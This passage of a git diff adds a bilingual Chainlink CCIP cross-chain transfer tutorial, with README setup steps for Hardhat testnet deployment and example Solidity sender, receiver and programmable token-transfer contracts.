+# Chainlink CCIP 跨链
+
+中文 / [English](./README.md)
+
+## 概览
+
+Chainlink CCIP 提供了一个简单的接口，dApp 和 web3 企业家可以通过它安全地满足他们所有的跨链需求。用户可以使用 CCIP 传输数据，代币，或是二者一起传输。
+
+## 原理
+
+用户调用源链上的 Router 合约，将代币 lock 或 burn ，然后在目标链上将代币 unlock 或 mint 出来，具体取决于需要 Transfer 的代币。比如 ETH，它不能在源链上被 burn, 所以只能被 lock 在代币池中，之后在目标链上 mint 出包装后的 WETH。但是对于 USDT，则采用 burn and mint 的方式，即在源链上 burn 掉 USDT，然后在目标链上 mint 出对应的 USDT。
+
+具体过程包括三个步骤：
+
+源域上的链上组件发出消息。
+Chainlink CCIP 的链下证明服务对消息进行签名。
+目的域上的链上组件接收消息，并将消息体转发给指定的接收者。
+
+下面是一个跨链交易，可以看到跨链转移代币流程
+![image](./images/1723272417165.jpg)
+![image](./images/1723272468861.jpg)
+![image](./images/1723272503699.jpg)
+
+## 准备测试环境
+
+- 安装依赖
+
+```
+npm install
+```
+
+- 配置 env
+
+```
+cp .env.example .env
+## 然后在 .env 中配置正确的环境变量
+```
+
+- 获取测试 link token
+
+```
+访问如下 web 获取 sepolia 测试网测试 link token
+https://faucets.chain.link/
+```
+
+- 获取测试 CCIP-BnM Token
+
+```
+访问如下 web 获取 CCIP-BnM 测试 token
+https://docs.chain.link/ccip/test-tokens#mint-test-tokens
+```
+
+- 获取测试 Polygon Mumbai 测试 Matic
+
+```
+访问如下 web 获取 Polygon Mumbai 测试网测试 Matic
+https://faucet.polygon.technology/
+```
+
+## 执行跨链 Data 传输
+
+#### 部署 Sender 合约到 Sepolia
+
+```
+npx hardhat run scripts/sendCrossChainData/1-deploySenderOnSepolia.js --network sepolia
+```
+
+发送者部署合约参数
+
+- s_router: 路由地址，请于[支持的网络](https://docs.chain.link/ccip/supported-networks)查询；
+- s_linkToken： 对应链的[LINK地址](https://docs.chain.link/resources/link-token-contracts)
+
+#### 发送 link token 到部署的合约
+
+```
+npx hardhat run scripts/sendCrossChainData/2-transferLinkToSenderOnSepolia.js --network sepoli
+```
+
+#### 部署 Receiver 合约到 Polygon Mumbai
+
+```
+npx hardhat run scripts/sendCrossChainData/3-deployReceiverOnMumbai.js --network mumbai
+```
+
+接收者部署合约参数
+s_router: 路由地址，请于[支持的网络](https://docs.chain.link/ccip/supported-networks)查询；
+
+#### 发送跨链 Data
+
+```
+npx hardhat run scripts/sendCrossChainData/4-sendCrossChainDataOnSepolia_PayByLinkToken.js --network sepolia
+```
+
+发送消息函数sendMessage参数：
+
+- destinationChainSelector： 目标区块链的 CCIP 链标识符。您可以在[支持的网络](https://docs.chain.link/ccip/supported-networks)页面上找到每个网络的链选择器
+- receiver： 接受合约地址
+- txt: 消息
+
+#### 接受跨链消息
+
+```
+## 访问 https://ccip.chain.link/，输入 tx hash, 确认消息已经处理完毕后，再执行以下脚本
+npx hardhat run scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js --network mumbai
+```
+
+## 执行Token 跨链
+
+token跨链的网络是sepolia和arbitrum-sepolia，请准备好对应的原生币，link token 和 CCIP-BnM Token
+
+#### 在 arbitrum-sepolia 使用link 支付跨链
+
+```sh
+  npx hardhat sendToken --network arbitrumSepolia --type link
+```
+
+拿到交易hash后可以访问https://ccip.chain.link/ 查看交易状态，当交易成功后sepolia链就能收到转账的CCIP-BnM Token
+
+#### 在 arbitrum-sepolia 使用原生币 支付跨链
+
+```sh
+  npx hardhat sendToken --network arbitrumSepolia --type token
+```
+
+#### 脚本解读
+
+1. 在 arbitrum-sepolia 部署合约， 合约参数为router和link token
+2. 向合约地址转账转账0.1 CCIP-BnM Token
+3. 调用 allowlistDestinationChain 函数许可转账 参数destinationChainSelector 目标区块链的 CCIP 链标识符
+4. 判断脚本参数type 是否是link， 如果是执行步骤5,否则执行步骤7
+5. 向合约地址转账转账0.5 LINK
+6. 调用函数transferTokensPayLINK
+7. 向合约转账0.01 arbitrum-sepolia eth
+8. 调用函数transferTokensPayNative
+
+## 执行 Token和数据 跨链
+
+这里是token和数据一起跨链，所以需要部署在两条链部署合约，一方是发送者，一方是接收者
+
+#### 在 sepolia 上部署 Transfer 合约
+
+```
+npx hardhat run scripts/sendCrossChainToken/1-deployTokenTransferorOnSepolia.js --network sepolia
+```
+
+#### 发送 link 到部署的合约上
+
+```
+npx hardhat run scripts/sendCrossChainToken/2-transferLinkToTokenTransferorOnSepolia.js --network sepolia
+```
+
+#### 在 mumbai 上部署 Transfer 合约
+
+```
+npx hardhat run scripts/sendCrossChainToken/3-deployTokenTransferorOnMumbai.js --network mumbai
+```
+
+#### 执行 token 跨链
+
+```
+npx hardhat run scripts/sendCrossChainToken/4-sendCrossChainTokenOnSepolia_PayByLinkToken.js --network sepolia
+```
+
+#### 检查跨链结果
+
+```
+## 访问 https://ccip.chain.link/，输入 tx hash, 确认消息已经处理完毕后，再执行以下脚本
+npx hardhat run scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js --network mumbai
+```
+
+以上流程是采用LINK支持跨链费用， 还可以采用原生币支持跨链费用
+
+## 参考文档
+
+- 官方 doc: https://docs.chain.link/ccip/tutorials/programmable-token-transfers
+- 支持的跨链 token list: https://docs.chain.link/ccip/supported-networks/v1_2_0/mainnet
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/README.md b/basic/80-crossChainTransfer/chainlinkCCIP/README.md
new file mode 100644
index 000000000..fce407dcf
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/README.md
@@ -0,0 +1,149 @@
+[中文](./README-cn.md) / English
+
+# Chainlink CCIP Cross chain Transfer
+
+## Overview  
+The Chainlink CCIP provides a straightforward interface through which dApp and web3 entrepreneurs can securely meet all their cross-chain needs. Users can utilize CCIP to transfer data, tokens, or a combination of both.
+
+## How it works    
+Users call the Router contract on the source chain to either lock or burn tokens, and then unlock or mint the tokens on the target chain, depending on the specific token transfer needs. For example, ETH cannot be burned on the source chain, so it can only be locked in the token pool and later minted as wrapped WETH on the target chain. However, for USDT, a burn-and-mint approach is used, where USDT is burned on the source chain and the corresponding USDT is minted on the target chain.
+
+The specific process includes three steps:
+
+- The on-chain component on the source domain sends a message.
+- The off-chain proof service of Chainlink CCIP signs the message.
+- The on-chain component on the destination domain receives the message and forwards the message body to the specified recipient.
+
+Below is a cross-chain transaction, you can see the process of cross-chain token transfer
+![image](./images/1723272417165.jpg)
+![image](./images/1723272468861.jpg)
+![image](./images/1723272503699.jpg)
+
+## Prepare 
+- Install  
+```
+npm install
+```
+
+- Config  
+```
+cp .env.example .env
+## Then configure the correct environment variables in the .env file 
+```
+
+- Get test link token 
+```
+Visit the following website to get test LINK tokens on the Sepolia testnet.
+https://faucets.chain.link/
+```
+
+- Get CCIP-BnM Test Token 
+```
+Visit the following website to get CCIP-BnM Test Token on the testnet
+https://docs.chain.link/ccip/test-tokens#mint-test-tokens
+```
+
+- Obtain test Matic  
+```
+Visit the following website to obtain test Matic on the Polygon Mumbai
+https://faucet.polygon.technology/
+```
+
+
+## Execute cross-chain data transfer.  
+#### Deploy the Sender contract to Sepolia  
+```
+npx hardhat run scripts/sendCrossChainData/1-deploySenderOnSepolia.js --network sepolia
+```
+Sender deployment contract parameters
+- s_router: Router address, please check [Supported Networks](https://docs.chain.link/ccip/supported-networks);
+- s_linkToken: Corresponding chain [LINK address](https://docs.chain.link/resources/link-token-contracts)
+
+#### Send link tokens to the deployed contract   
+```
+npx hardhat run scripts/sendCrossChainData/2-transferLinkToSenderOnSepolia.js --network sepoli
+```
+
+#### Deploy the Receiver contract to Polygon Mumbai  
+```
+npx hardhat run scripts/sendCrossChainData/3-deployReceiverOnMumbai.js --network mumbai
+```
+Receiver deployment contract parameters
+s_router: Routing address, please check [Supported Networks](https://docs.chain.link/ccip/supported-networks);
+
+#### Send cross-chain data  
+```
+npx hardhat run scripts/sendCrossChainData/4-sendCrossChainDataOnSepolia_PayByLinkToken.js --network sepolia
+```
+SendMessage function parameters:
+- destinationChainSelector: The CCIP chain identifier of the target blockchain. You can find the chain selector for each network on the [Supported Networks](https://docs.chain.link/ccip/supported-networks) page
+- receiver: receiving contract address
+- txt: message
+
+#### Receive cross-chain messages 
+```
+## Visit https://ccip.chain.link/, enter the transaction hash, make sure that the message has been processed, and then execute the following script
+npx hardhat run scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js --network mumbai
+```
+
+## Execute Token Cross-Chain
+
+The token cross-chain networks are sepolia and arbitrum-sepolia. Please prepare the corresponding native coins, link tokens and CCIP-BnM Tokens.
+
+#### Using link to pay cross-chain in arbitrum-sepolia
+```sh
+  npx hardhat sendToken --network arbitrumSepolia --type link
+```
+After getting the transaction hash, you can visit https://ccip.chain.link/ to check the transaction status. When the transaction is successful, the sepolia chain will receive the transferred CCIP-BnM Token.
+
+#### Using native currency to pay for cross-chain in arbitrum-sepolia
+```sh
+  npx hardhat sendToken --network arbitrumSepolia --type token
+```
+
+#### Script Interpretation
+1. Deploy the contract in arbitrum-sepolia, the contract parameters are router and link token
+2. Transfer 0.1 CCIP-BnM Token to the contract address
+3. Call the allowlistDestinationChain function to allow the transfer. The parameter destinationChainSelector is the CCIP chain identifier of the target blockchain
+4. Determine whether the script parameter type is link. If it is, execute step 5, otherwise execute step 7
+5. Transfer 0.5 LINK to the contract address
+6. Call the function transferTokensPayLINK
+7. Transfer 0.01 arbitrum-sepolia eth to the contract
+8. Call the function transferTokensPayNative
+
+## Execute Token and Data Cross-Chain
+This is cross-chain with token and data, so the contract needs to be deployed on two chains, one for the sender and the other for the receiver.
+
+#### Deploy the Transfer contract on Sepolia 
+```
+npx hardhat run scripts/sendCrossChainToken/1-deployTokenTransferorOnSepolia.js --network sepolia
+```  
+
+#### Send LINK to the deployed contract 
+```
+npx hardhat run scripts/sendCrossChainToken/2-transferLinkToTokenTransferorOnSepolia.js --network sepolia
+``` 
+
+#### Deploy the Transfer contract on Mumbai 
+```
+npx hardhat run scripts/sendCrossChainToken/3-deployTokenTransferorOnMumbai.js --network mumbai
+``` 
+
+#### Execute token cross-chain 
+```
+npx hardhat run scripts/sendCrossChainToken/4-sendCrossChainTokenOnSepolia_PayByLinkToken.js --network sepolia
+``` 
+
+#### Check the cross-chain result
+
+```
+## Visit https://ccip.chain.link/, enter the transaction hash, confirm that the message has been processed, and then execute the following script
+npx hardhat run scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js --network mumbai
+```
+
+The above process uses LINK to support cross-chain fees. You can also use native coins to support cross-chain fees.
+
+
+## Reference 
+- Official Documentation: https://docs.chain.link/ccip/tutorials/programmable-token-transfers
+- Supported Cross-Chain Token List: https://docs.chain.link/ccip/supported-networks/v1_2_0/mainnet 
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Lock.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Lock.sol
new file mode 100644
index 000000000..1efbef3f3
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Lock.sol
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.24;
+
+// Uncomment this line to use console.log
+// import "hardhat/console.sol";
+
+contract Lock {
+    uint public unlockTime;
+    address payable public owner;
+
+    event Withdrawal(uint amount, uint when);
+
+    constructor(uint _unlockTime) payable {
+        require(
+            block.timestamp < _unlockTime,
+            "Unlock time should be in the future"
+        );
+
+        unlockTime = _unlockTime;
+        owner = payable(msg.sender);
+    }
+
+    function withdraw() public {
+        // Uncomment this line, and the import of "hardhat/console.sol", to print a log in your terminal
+        // console.log("Unlock time is %o and block timestamp is %o", unlockTime, block.timestamp);
+
+        require(block.timestamp >= unlockTime, "You can't withdraw yet");
+        require(msg.sender == owner, "You aren't the owner");
+
+        emit Withdrawal(address(this).balance, block.timestamp);
+
+        owner.transfer(address(this).balance);
+    }
+}
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/contracts/ProgrammableTokenTransfers.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/ProgrammableTokenTransfers.sol
new file mode 100644
index 000000000..b964833c9
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/ProgrammableTokenTransfers.sol
@@ -0,0 +1,388 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.19;
+
+import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
+import {OwnerIsCreator} from "@chainlink/contracts-ccip/src/v0.8/shared/access/OwnerIsCreator.sol";
+import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
+import {CCIPReceiver} from "@chainlink/contracts-ccip/src/v0.8/ccip/applications/CCIPReceiver.sol";
+import {IERC20} from "@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.3/contracts/token/ERC20/IERC20.sol";
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+/// @title - A simple messenger contract for transferring/receiving tokens and data across chains.
+contract ProgrammableTokenTransfers is CCIPReceiver, OwnerIsCreator {
+    // Custom errors to provide more descriptive revert messages.
+    error NotEnoughBalance(uint256 currentBalance, uint256 calculatedFees); // Used to make sure contract has enough balance to cover the fees.
+    error NothingToWithdraw(); // Used when trying to withdraw Ether but there's nothing to withdraw.
+    error FailedToWithdrawEth(address owner, address target, uint256 value); // Used when the withdrawal of Ether fails.
+    error DestinationChainNotAllowed(uint64 destinationChainSelector); // Used when the destination chain has not been allowlisted by the contract owner.
+    error SourceChainNotAllowed(uint64 sourceChainSelector); // Used when the source chain has not been allowlisted by the contract owner.
+    error SenderNotAllowed(address sender); // Used when the sender has not been allowlisted by the contract owner.
+    error InvalidReceiverAddress(); // Used when the receiver address is 0.
+
+    // Event emitted when a message is sent to another chain.
+    event MessageSent(
+        bytes32 indexed messageId, // The unique ID of the CCIP message.
+        uint64 indexed destinationChainSelector, // The chain selector of the destination chain.
+        address receiver, // The address of the receiver on the destination chain.
+        string text, // The text being sent.
+        address token, // The token address that was transferred.
+        uint256 tokenAmount, // The token amount that was transferred.
+        address feeToken, // the token address used to pay CCIP fees.
+        uint256 fees // The fees paid for sending the message.
+    );
+
+    // Event emitted when a message is received from another chain.
+    event MessageReceived(
+        bytes32 indexed messageId, // The unique ID of the CCIP message.
+        uint64 indexed sourceChainSelector, // The chain selector of the source chain.
+        address sender, // The address of the sender from the source chain.
+        string text, // The text that was received.
+        address token, // The token address that was transferred.
+        uint256 tokenAmount // The token amount that was transferred.
+    );
+
+    bytes32 private s_lastReceivedMessageId; // Store the last received messageId.
+    address private s_lastReceivedTokenAddress; // Store the last received token address.
+    uint256 private s_lastReceivedTokenAmount; // Store the last received amount.
+    string private s_lastReceivedText; // Store the last received text.
+
+    // Mapping to keep track of allowlisted destination chains.
+    mapping(uint64 => bool) public allowlistedDestinationChains;
+
+    // Mapping to keep track of allowlisted source chains.
+    mapping(uint64 => bool) public allowlistedSourceChains;
+
+    // Mapping to keep track of allowlisted senders.
+    mapping(address => bool) public allowlistedSenders;
+
+    IERC20 private s_linkToken;
+
+    /// @notice Constructor initializes the contract with the router address.
+    /// @param _router The address of the router contract.
+    /// @param _link The address of the link contract.
+    constructor(address _router, address _link) CCIPReceiver(_router) {
+        s_linkToken = IERC20(_link);
+    }
+
+    /// @dev Modifier that checks if the chain with the given destinationChainSelector is allowlisted.
+    /// @param _destinationChainSelector The selector of the destination chain.
+    modifier onlyAllowlistedDestinationChain(uint64 _destinationChainSelector) {
+        if (!allowlistedDestinationChains[_destinationChainSelector])
+            revert DestinationChainNotAllowed(_destinationChainSelector);
+        _;
+    }
+
+    /// @dev Modifier that checks the receiver address is not 0.
+    /// @param _receiver The receiver address.
+    modifier validateReceiver(address _receiver) {
+        if (_receiver == address(0)) revert InvalidReceiverAddress();
+        _;
+    }
+
+    /// @dev Modifier that checks if the chain with the given sourceChainSelector is allowlisted and if the sender is allowlisted.
+    /// @param _sourceChainSelector The selector of the destination chain.
+    /// @param _sender The address of the sender.
+    modifier onlyAllowlisted(uint64 _sourceChainSelector, address _sender) {
+        if (!allowlistedSourceChains[_sourceChainSelector])
+            revert SourceChainNotAllowed(_sourceChainSelector);
+        if (!allowlistedSenders[_sender]) revert SenderNotAllowed(_sender);
+        _;
+    }
+
+    /// @dev Updates the allowlist status of a destination chain for transactions.
+    /// @notice This function can only be called by the owner.
+    /// @param _destinationChainSelector The selector of the destination chain to be updated.
+    /// @param allowed The allowlist status to be set for the destination chain.
+    function allowlistDestinationChain(
+        uint64 _destinationChainSelector,
+        bool allowed
+    ) external onlyOwner {
+        allowlistedDestinationChains[_destinationChainSelector] = allowed;
+    }
+
+    /// @dev Updates the allowlist status of a source chain
+    /// @notice This function can only be called by the owner.
+    /// @param _sourceChainSelector The selector of the source chain to be updated.
+    /// @param allowed The allowlist status to be set for the source chain.
+    function allowlistSourceChain(
+        uint64 _sourceChainSelector,
+        bool allowed
+    ) external onlyOwner {
+        allowlistedSourceChains[_sourceChainSelector] = allowed;
+    }
+
+    /// @dev Updates the allowlist status of a sender for transactions.
+    /// @notice This function can only be called by the owner.
+    /// @param _sender The address of the sender to be updated.
+    /// @param allowed The allowlist status to be set for the sender.
+    function allowlistSender(address _sender, bool allowed) external onlyOwner {
+        allowlistedSenders[_sender] = allowed;
+    }
+
+    /// @notice Sends data and transfer tokens to receiver on the destination chain.
+    /// @notice Pay for fees in LINK.
+    /// @dev Assumes your contract has sufficient LINK to pay for CCIP fees.
+    /// @param _destinationChainSelector The identifier (aka selector) for the destination blockchain.
+    /// @param _receiver The address of the recipient on the destination blockchain.
+    /// @param _text The string data to be sent.
+    /// @param _token token address.
+    /// @param _amount token amount.
+    /// @return messageId The ID of the CCIP message that was sent.
+    function sendMessagePayLINK(
+        uint64 _destinationChainSelector,
+        address _receiver,
+        string calldata _text,
+        address _token,
+        uint256 _amount
+    )
+        external
+        onlyOwner
+        onlyAllowlistedDestinationChain(_destinationChainSelector)
+        validateReceiver(_receiver)
+        returns (bytes32 messageId)
+    {
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        // address(linkToken) means fees are paid in LINK
+        Client.EVM2AnyMessage memory evm2AnyMessage = _buildCCIPMessage(
+            _receiver,
+            _text,
+            _token,
+            _amount,
+            address(s_linkToken)
+        );
+
+        // Initialize a router client instance to interact with cross-chain router
+        IRouterClient router = IRouterClient(this.getRouter());
+
+        // Get the fee required to send the CCIP message
+        uint256 fees = router.getFee(_destinationChainSelector, evm2AnyMessage);
+
+        if (fees > s_linkToken.balanceOf(address(this)))
+            revert NotEnoughBalance(s_linkToken.balanceOf(address(this)), fees);
+
+        // approve the Router to transfer LINK tokens on contract's behalf. It will spend the fees in LINK
+        s_linkToken.approve(address(router), fees);
+
+        // approve the Router to spend tokens on contract's behalf. It will spend the amount of the given token
+        IERC20(_token).approve(address(router), _amount);
+
+        // Send the message through the router and store the returned message ID
+        messageId = router.ccipSend(_destinationChainSelector, evm2AnyMessage);
+
+        // Emit an event with message details
+        emit MessageSent(
+            messageId,
+            _destinationChainSelector,
+            _receiver,
+            _text,
+            _token,
+            _amount,
+            address(s_linkToken),
+            fees
+        );
+
+        // Return the message ID
+        return messageId;
+    }
+
+    /// @notice Sends data and transfer tokens to receiver on the destination chain.
+    /// @notice Pay for fees in native gas.
+    /// @dev Assumes your contract has sufficient native gas like ETH on Ethereum or MATIC on Polygon.
+    /// @param _destinationChainSelector The identifier (aka selector) for the destination blockchain.
+    /// @param _receiver The address of the recipient on the destination blockchain.
+    /// @param _text The string data to be sent.
+    /// @param _token token address.
+    /// @param _amount token amount.
+    /// @return messageId The ID of the CCIP message that was sent.
+    function sendMessagePayNative(
+        uint64 _destinationChainSelector,
+        address _receiver,
+        string calldata _text,
+        address _token,
+        uint256 _amount
+    )
+        external
+        onlyOwner
+        onlyAllowlistedDestinationChain(_destinationChainSelector)
+        validateReceiver(_receiver)
+        returns (bytes32 messageId)
+    {
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        // address(0) means fees are paid in native gas
+        Client.EVM2AnyMessage memory evm2AnyMessage = _buildCCIPMessage(
+            _receiver,
+            _text,
+            _token,
+            _amount,
+            address(0)
+        );
+
+        // Initialize a router client instance to interact with cross-chain router
+        IRouterClient router = IRouterClient(this.getRouter());
+
+        // Get the fee required to send the CCIP message
+        uint256 fees = router.getFee(_destinationChainSelector, evm2AnyMessage);
+
+        if (fees > address(this).balance)
+            revert NotEnoughBalance(address(this).balance, fees);
+
+        // approve the Router to spend tokens on contract's behalf. It will spend the amount of the given token
+        IERC20(_token).approve(address(router), _amount);
+
+        // Send the message through the router and store the returned message ID
+        messageId = router.ccipSend{value: fees}(
+            _destinationChainSelector,
+            evm2AnyMessage
+        );
+
+        // Emit an event with message details
+        emit MessageSent(
+            messageId,
+            _destinationChainSelector,
+            _receiver,
+            _text,
+            _token,
+            _amount,
+            address(0),
+            fees
+        );
+
+        // Return the message ID
+        return messageId;
+    }
+
+    /**
+     * @notice Returns the details of the last CCIP received message.
+     * @dev This function retrieves the ID, text, token address, and token amount of the last received CCIP message.
+     * @return messageId The ID of the last received CCIP message.
+     * @return text The text of the last received CCIP message.
+     * @return tokenAddress The address of the token in the last CCIP received message.
+     * @return tokenAmount The amount of the token in the last CCIP received message.
+     */
+    function getLastReceivedMessageDetails()
+        public
+        view
+        returns (
+            bytes32 messageId,
+            string memory text,
+            address tokenAddress,
+            uint256 tokenAmount
+        )
+    {
+        return (
+            s_lastReceivedMessageId,
+            s_lastReceivedText,
+            s_lastReceivedTokenAddress,
+            s_lastReceivedTokenAmount
+        );
+    }
+
+    /// handle a received message
+    function _ccipReceive(
+        Client.Any2EVMMessage memory any2EvmMessage
+    )
+        internal
+        override
+        onlyAllowlisted(
+            any2EvmMessage.sourceChainSelector,
+            abi.decode(any2EvmMessage.sender, (address))
+        ) // Make sure source chain and sender are allowlisted
+    {
+        s_lastReceivedMessageId = any2EvmMessage.messageId; // fetch the messageId
+        s_lastReceivedText = abi.decode(any2EvmMessage.data, (string)); // abi-decoding of the sent text
+        // Expect one token to be transferred at once, but you can transfer several tokens.
+        s_lastReceivedTokenAddress = any2EvmMessage.destTokenAmounts[0].token;
+        s_lastReceivedTokenAmount = any2EvmMessage.destTokenAmounts[0].amount;
+
+        emit MessageReceived(
+            any2EvmMessage.messageId,
+            any2EvmMessage.sourceChainSelector, // fetch the source chain identifier (aka selector)
+            abi.decode(any2EvmMessage.sender, (address)), // abi-decoding of the sender address,
+            abi.decode(any2EvmMessage.data, (string)),
+            any2EvmMessage.destTokenAmounts[0].token,
+            any2EvmMessage.destTokenAmounts[0].amount
+        );
+    }
+
+    /// @notice Construct a CCIP message.
+    /// @dev This function will create an EVM2AnyMessage struct with all the necessary information for programmable tokens transfer.
+    /// @param _receiver The address of the receiver.
+    /// @param _text The string data to be sent.
+    /// @param _token The token to be transferred.
+    /// @param _amount The amount of the token to be transferred.
+    /// @param _feeTokenAddress The address of the token used for fees. Set address(0) for native gas.
+    /// @return Client.EVM2AnyMessage Returns an EVM2AnyMessage struct which contains information for sending a CCIP message.
+    function _buildCCIPMessage(
+        address _receiver,
+        string calldata _text,
+        address _token,
+        uint256 _amount,
+        address _feeTokenAddress
+    ) private pure returns (Client.EVM2AnyMessage memory) {
+        // Set the token amounts
+        Client.EVMTokenAmount[]
+            memory tokenAmounts = new Client.EVMTokenAmount[](1);
+        tokenAmounts[0] = Client.EVMTokenAmount({
+            token: _token,
+            amount: _amount
+        });
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        return
+            Client.EVM2AnyMessage({
+                receiver: abi.encode(_receiver), // ABI-encoded receiver address
+                data: abi.encode(_text), // ABI-encoded string
+                tokenAmounts: tokenAmounts, // The amount and type of token being transferred
+                extraArgs: Client._argsToBytes(
+                    // Additional arguments, setting gas limit
+                    Client.EVMExtraArgsV1({gasLimit: 200_000})
+                ),
+                // Set the feeToken to a feeTokenAddress, indicating specific asset will be used for fees
+                feeToken: _feeTokenAddress
+            });
+    }
+
+    /// @notice Fallback function to allow the contract to receive Ether.
+    /// @dev This function has no function body, making it a default function for receiving Ether.
+    /// It is automatically called when Ether is sent to the contract without any data.
+    receive() external payable {}
+
+    /// @notice Allows the contract owner to withdraw the entire balance of Ether from the contract.
+    /// @dev This function reverts if there are no funds to withdraw or if the transfer fails.
+    /// It should only be callable by the owner of the contract.
+    /// @param _beneficiary The address to which the Ether should be sent.
+    function withdraw(address _beneficiary) public onlyOwner {
+        // Retrieve the balance of this contract
+        uint256 amount = address(this).balance;
+
+        // Revert if there is nothing to withdraw
+        if (amount == 0) revert NothingToWithdraw();
+
+        // Attempt to send the funds, capturing the success status and discarding any return data
+        (bool sent, ) = _beneficiary.call{value: amount}("");
+
+        // Revert if the send failed, with information about the attempted transfer
+        if (!sent) revert FailedToWithdrawEth(msg.sender, _beneficiary, amount);
+    }
+
+    /// @notice Allows the owner of the contract to withdraw all tokens of a specific ERC20 token.
+    /// @dev This function reverts with a 'NothingToWithdraw' error if there are no tokens to withdraw.
+    /// @param _beneficiary The address to which the tokens will be sent.
+    /// @param _token The contract address of the ERC20 token to be withdrawn.
+    function withdrawToken(
+        address _beneficiary,
+        address _token
+    ) public onlyOwner {
+        // Retrieve the balance of this contract
+        uint256 amount = IERC20(_token).balanceOf(address(this));
+
+        // Revert if there is nothing to withdraw
+        if (amount == 0) revert NothingToWithdraw();
+
+        IERC20(_token).transfer(_beneficiary, amount);
+    }
+}
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Receiver.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Receiver.sol
new file mode 100644
index 000000000..e5017b791
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Receiver.sol
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.19;
+
+import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
+import {CCIPReceiver} from "@chainlink/contracts-ccip/src/v0.8/ccip/applications/CCIPReceiver.sol";
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+/// @title - A simple contract for receiving string data across chains.
+contract Receiver is CCIPReceiver {
+    // Event emitted when a message is received from another chain.
+    event MessageReceived(
+        bytes32 indexed messageId, // The unique ID of the message.
+        uint64 indexed sourceChainSelector, // The chain selector of the source chain.
+        address sender, // The address of the sender from the source chain.
+        string text // The text that was received.
+    );
+
+    bytes32 private s_lastReceivedMessageId; // Store the last received messageId.
+    string private s_lastReceivedText; // Store the last received text.
+
+    /// @notice Constructor initializes the contract with the router address.
+    /// @param router The address of the router contract.
+    constructor(address router) CCIPReceiver(router) {}
+
+    /// handle a received message
+    function _ccipReceive(
+        Client.Any2EVMMessage memory any2EvmMessage
+    ) internal override {
+        s_lastReceivedMessageId = any2EvmMessage.messageId; // fetch the messageId
+        s_lastReceivedText = abi.decode(any2EvmMessage.data, (string)); // abi-decoding of the sent text
+
+        emit MessageReceived(
+            any2EvmMessage.messageId,
+            any2EvmMessage.sourceChainSelector, // fetch the source chain identifier (aka selector)
+            abi.decode(any2EvmMessage.sender, (address)), // abi-decoding of the sender address,
+            abi.decode(any2EvmMessage.data, (string))
+        );
+    }
+
+    /// @notice Fetches the details of the last received message.
+    /// @return messageId The ID of the last received message.
+    /// @return text The last received text.
+    function getLastReceivedMessageDetails()
+        external
+        view
+        returns (bytes32 messageId, string memory text)
+    {
+        return (s_lastReceivedMessageId, s_lastReceivedText);
+    }
+}
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Sender.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Sender.sol
new file mode 100644
index 000000000..dda6a7ec5
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/Sender.sol
@@ -0,0 +1,94 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.19;
+
+import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
+import {OwnerIsCreator} from "@chainlink/contracts-ccip/src/v0.8/shared/access/OwnerIsCreator.sol";
+import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
+import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+/// @title - A simple contract for sending string data across chains.
+contract Sender is OwnerIsCreator {
+    // Custom errors to provide more descriptive revert messages.
+    error NotEnoughBalance(uint256 currentBalance, uint256 calculatedFees); // Used to make sure contract has enough balance.
+
+    // Event emitted when a message is sent to another chain.
+    event MessageSent(
+        bytes32 indexed messageId, // The unique ID of the CCIP message.
+        uint64 indexed destinationChainSelector, // The chain selector of the destination chain.
+        address receiver, // The address of the receiver on the destination chain.
+        string text, // The text being sent.
+        address feeToken, // the token address used to pay CCIP fees.
+        uint256 fees // The fees paid for sending the CCIP message.
+    );
+
+    IRouterClient private s_router;
+
+    LinkTokenInterface private s_linkToken;
+
